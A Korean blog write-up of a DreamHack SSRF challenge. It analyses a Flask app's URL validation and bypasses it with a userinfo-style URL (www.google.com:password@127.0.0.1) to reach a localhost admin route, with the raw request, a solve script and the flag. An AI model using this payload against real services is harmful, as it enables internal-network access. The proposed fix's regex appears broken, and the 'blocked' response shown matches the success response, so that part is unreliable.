상세 컨텐츠

본문 제목

[DreamHack] Broken Is SSRF possible?

DreamHack/SSRF

by obscurity_ 2024. 9. 24. 09:59

본문

[문제] Broken Is SSRF possible?

https://dreamhack.io/wargame/challenges/1412

이번 문제는 드림핵 2레벨 SSRF 문제입니다.

@app.route('/admin',methods=['GET'])
def admin():
    global flag
    user_ip = request.remote_addr
    if user_ip != "127.0.0.1":
        return "only localhost."
    if request.args.get('nickname'):
        nickname = request.args.get('nickname')
        flag = sha256_hash(nickname)
        return "success."

 

먼저 admin 경로에 접속했을 때는 접속한 IP가 어디인지 확인합니다.

127.0.0.1이 아닌 경우에는 only localhost 라는 문구를 출력하고

로컬에서 접속한 것이 확인된다면 nickname이라는 파라미터를 받아서

해당 파라미터에 SHA256 알고리즘을 돌린 결과를 flag라는 변수에 저장합니다.

@app.route("/flag",methods=['POST'])
def clear():
    global flag
    if flag == sha256_hash(request.args.get('nickname')):
        return "DH{REDACTED}"
    else:
        return "you can't bypass SSRF-FILTER zzlol 😛"

 

서버 flag 경로에 접속해서 GET 요청으로 보낸 파라미터의 값을 SHA256 한 결과가

서버에서 저장하고 있는 flag 값과 일치하면 플래그를 노출시켜줍니다

여기서 flag라는 값은 admin 경로에 접근했을 때 정의된 값이며, 만약 최초로 접근했을 때는

서버에서 하드코딩 해둔 아래의 값으로 설정되어 있습니다.

app = Flask(__name__)

flag = "d23b51c4e4d5f7c4e842476fea4be33ba8de9607dfe727c5024c66f78052b70a"

 

그러면 서버의 로컬 영역에서 admin에 접속하여 nickname으로 전달한 파라미터를

flag 경로에 POST요청으로 전송한다면 문제는 해결됩니다.

이제 서버의 로컬 영역에서 admin 경로에 접근하는 우회법을 알아보겠습니다.

@app.route('/check-url', methods=['POST'])
def check_url():
    global isSafe
    data = request.get_json()
    if 'url' not in data:
        return jsonify({'error': 'No URL provided'}), 400

 

먼저 check-url 경로로 접속했을 때 json 형태로 파라미터를 수신합니다.

json 형식이 아닐 경우엔 거부합니다.

    url = data['url']
    host = re.search(r'(?<=//)[^/]+', url)
    print(host.group())
    if host is None:
        print("호스트가 감지되지 않았습니다.")
        return "Fail"
    host = host.group()
    if ":" in host:
        host = host.split(":")
        host = host[0]
    if host != "www.google.com":
        isSafe = False
        return "Host는 반드시 www.google.com이어야 합니다."
    isSafe = True

 

그 다음으로 정규표현식을 통해서 // 문자를 찾고 그 이후의 문자들을 모두 가져옵니다.

가져온 뒤에는 다시 / 문자를 찾고 그 문자가 아닌 문자만을 찾습니다.

즉 http://www.example.com/path 라는 url이 삽입된다면 host는 www.example.com이 됩니다.

그리고 host에서 : 기호가 존재한다면 콜론 기호를 기준으로 앞부분을 host에 다시 담습니다.

만약 이때 host가 www.google.com이 아니라면 함수는 종료됩니다. 

    result = check_ssrf(url,1)
    if result != "SUCCESS" or isSafe != True:
        return "SSRF를 일으킬 수 있는 URL입니다."

 

그 다음으로 실행되는 로직은 check_ssrf 함수에 추출한 최초에 전달받았던

url 전체를 1이라는 인자와 함께 삽입합니다.

만약 이 함수의 결과가 SUCCESS가 아니거나 isSafe 변수가 True가 아니라면 함수는 종료됩니다.

def check_ssrf(url,checked):
    global isSafe
    if checked > 3:
        print("3번을 초과하여 redirection되는 URL은 금지됩니다.")
        isSafe = False
        return "Fail"

 

인자로 전달받은 checked 라는 파라미터의 값이 3을 초과한다면 함수를 종료시키고 있습니다.

    protocol = re.match(r'^[^:]+', url)
    if protocol is None:
        isSafe = False
        print("프로토콜이 감지되지 않았습니다.")
        return "Fail"
    print("Protocol :",protocol.group())

 

다음으로 url로부터 :기호를 찾아서 그 앞부분을 출력합니다.

최초에 :기호 앞에 등장하는 것은 http 혹은 https가 되는 프로토콜이 매치됩니다.

    if protocol.group() == "http" or protocol.group() == "https":
        host = re.search(r'(?<=//)[^/]+', url)
        print(host.group())
        if host is None:
            isSafe = False
            print("호스트가 감지되지 않았습니다.")
            return "Fail"
        host = host.group()

 

이때 추출한 프로토콜이 http혹은 https가 되어야만 합니다.

그 다음으론 프로토콜 뒷 부분인 // 문자부터 경로를 지정하는 / 문자 사이를 찾고

그 영역을 host 변수에 담은 다음 존재하는지 체크를 합니다.

check-url에서 다룬 것과 동일한 내용입니다.

        if ":" in host:
            host = host.split(":")
            host = host[0]
        print("Host :",host)

 

host안에 콜론 기호가 존재할 때는 그것을 기준으로 나눠서 host 영역에 0번 인덱스를 넣습니다.

http://www.example.com:80/path 라는 경로가 삽입되었다고 했을 때

protocol 변수는 첫번째 콜론 기호까지의 값이라 http가 출력됩니다.

또한 // 문자부터 / 문자 사이까지인 www.example.com:80이 host 값에 담깁니다.

여기선 콜론 기호가 존재하므로 다시 www.example.com이 host에 할당됩니다.

        try:
            ip_address = socket.gethostbyname(host)
        except:
            print("호스트가 올바르지 않습니다.")
            isSafe = False
            return "Fail"

 

gethostbyname을 통해서 DNS 질의 결과를 얻어옵니다.

이때는 DNS 서버에 질의하기 때문에 실제로 존재하는 서버여야만 합니다.

질의한 결과를 ip_address에 담습니다.

        for _ in range(60):
            print("IP를 검증 중입니다..", _)
            ip_address = socket.gethostbyname(host)
            if ipaddress.ip_address(ip_address).is_private:
                print("내부망 IP가 감지되었습니다. ")
                isSafe = False
                return "Fail"
            time.sleep(1) # 1초 대기
        print("리다이렉션을 확인합니다 : ",url)

 

60번의 반복문을 통해서 IP를 검증합니다.

만약 어찌저찌 우회하여 내부망 주소를 DNS 서버에 질의한 결과가 있다고 하더라도

192.168.x.x, 10.x.x.x 혹은 172.16.x.x ~ 172.31.x.x 범위에 있는지를 체크합니다.

        try:
            response = requests.get(url,allow_redirects=False)
            if 300 <= response.status_code and response.status_code <= 309:
                redirect_url = response.headers['location']
                print("리다이렉션이 감지되었습니다.",redirect_url)
                if len(redirect_url) >= 120:
                    isSafe = False
                    return "fail"
                check_ssrf(redirect_url,checked + 1)
        except:
            print("URL 요청에 실패했습니다.")
            isSafe = False
            return "Fail"
        if isSafe == True:
            print("URL 등록에 성공했습니다.")
            return "SUCCESS"
        else:
            return "Fail"

 

모든 조건이 통과되었을때 requests 모듈을 통해서 get 요청을 보냅니다.

만약 요청했을 때 상태코드가 300번대라면 리턴시키며 오류가 발생하지 않았을 때는

최종적으로 URL 등록에 성공하여 SUCCESS를 반환합니다.


 

 

이제 이 문제를 해결하기 위해서는 check-url 경로에 요청을 보낼 때

  1. http:// 다음에 오는 값은 www.google.com이어야만 한다.
  2. 입력한 주소를 통해서 로컬 영역의 admin에 접근하여 nickname이라는 파라미터 값을 내가 아는 값으로 조작해야 한다.
  3. 조작에 성공한다면 flag 경로로 nickname 값에 조작한 값을 입력했을 때 플래그가 반환된다.

우선 URI 구조에 대해서 잘 파악하지 못한다면 해당 문제는 풀 수가 없습니다.

www.google.com인지 명확하게 비교를 하고 있기 때문에 URL 단축 사이트의 이용은

페이지 리디렉션을 통하여 되는 것이기 때문에 사용이 불가능합니다.

URI는 다음과 같은 구조를 가집니다.

sheme://username:password@host:port/path

즉 http://username:password@www.google.com:80/path 와 같은 구조를 띕니다.

오늘 날에는 username과 password 부분이 잘 사용되지는 않지만

서버에서 검증하는 로직에 첫번째 콜론을 기준으로 프로토콜을 구분하고,

호스트 영역에서 콜론이 존재할 때도 콜론을 기준으로 앞의 내용만 확인하기 때문에

우회 포인트가 존재합니다.

예를 들어서 서버에선 스키마 뒷부분에 나오는 것을 host영역으로 간주하기 때문에

http://www.google.com:password@localhost/admin?nickname=flag와 같이 입력하면

host는 www.google.com이 되지만, 실제 이것이 requests 모듈을 통해서

웹 리소스 요청을 전송했을 때 전송되는 URI는 localhost/admin?nickname=flag로 전송됩니다.

왜냐하면 브라우저는 @ 기호를 기준으로 앞에 있는 요소를 username:password로 구분하기 때문입니다.

POST /check-url HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
sec-ch-ua: "Not;A=Brand";v="24", "Chromium";v="128"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: ko-KR,ko;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/json
Content-Length: 72

{"url":"<http://www.google.com:password@127.0.0.1:80/admin?nickname=123>"}

 

그래서 위와 같은 JSON 데이터를 담은 값을 check-url 경로로 전송하면

60초가 지나서 리디렉션을 테스트 한 이후 다음과 같은 리스폰스가 수신됩니다.

참고로 구글은 https인데 http를 이용하는 이유는 username:password 부분은 잘리게 되어서

실제로 요청하는건 아래와 같이 http://127.0.0.1:80/admin?nickname=123 이 되는데

로컬호스트는 https 프로토콜 사용이 불가하므로 http로 적어줘야지 정상적으로 연결됩니다.

HTTP/1.1 200 OK
Server: Werkzeug/3.0.4 Python/3.11.9
Date: Mon, 23 Sep 2024 23:26:04 GMT
Content-Type: application/json
Content-Length: 91
Connection: close

{"status_code":200,"url":"<http://www.google.com:password@127.0.0.1:80/admin?nickname=123>"}

 

상태코드가 200이면 정상적으로 수신되어 처리되었다는 뜻이니 flag 경로로

POST 방식으로 nickname으로 설정한 123이라는 값을 전송해줍니다.

import requests

url = "<http://host3.dreamhack.games:19376/flag>"
params = {
    "nickname": "123"
}

response = requests.post(url, params=params)

if response.status_code == 200:
    print("응답:", response.text)
else:
    print(f"오류 {response.status_code}: {response.text}")
응답: DH{please_share_your_idea_okay_good}

플래그 : DH{please_share_your_idea_okay_good}

 


 

이번 문제에서 취약점이 발생하는 이유는 서버에서 host를 검증할 때

단순히 http 이후에 나오는 값을 host로 여긴다는 것입니다.

또한 콜론 기호를 기준으로 앞의 내용을 host로 여기고 있는데, 이때 뒷부분의 내용도

검증을 할 필요가 있습니다.

    if protocol.group() == "http" or protocol.group() == "https":
        host = re.search(r'(?<=//)[^/]+', url)
        print(host.group())
        if host is None:
            isSafe = False
            print("호스트가 감지되지 않았습니다.")
            return "Fail"
        host = host.group()
        if ":" in host:
            host = host.split(":")
            host = host[0]
        print("Host :",host)

 

서버의 위와 같은 취약한 소스코드를 아래와 같이 보완할 수 있습니다.

    if protocol.group() == "http" or protocol.group() == "https":
        host = re.search(r'(?<=//)[^/]+', url)
        print(host.group())
        if host is None:
            isSafe = False
            print("호스트가 감지되지 않았습니다.")
            return "Fail"
        host = host.group()
        if ":" in host:
            host = host.split(":")
            path = host[1]
            host = host[0]
            ban_list = ['@', ':', '?', '=']
            for char in ban_list:
                if char in path:
                    return "비정상적인 경로입니다."
            if not re.fullmatch(r'^\\d+$', path):
                return "비정상적인 경로입니다."

 

정상적인 입력 URI라면 : 기호 뒤에 나오는 것은 포트번호이기 때문에

?, =, @, : 과 같은 URL 예약문자가 올 필요가 없기 때문에 블랙리스트로 검증을 하며

추가적인 정규표현식을 통해 숫자만 오는지를 검증합니다.

위와 같이 구현한다면 똑같은 요청을 했을 때 아래와 같이 차단됨을 알 수 있습니다.

HTTP/1.1 200 OK
Server: Werkzeug/3.0.4 Python/3.11.9
Date: Tue, 24 Sep 2024 00:53:00 GMT
Content-Type: application/json
Content-Length: 91
Connection: close

{"status_code":200,"url":"<http://www.google.com:password@127.0.0.1:80/admin?nickname=123>"}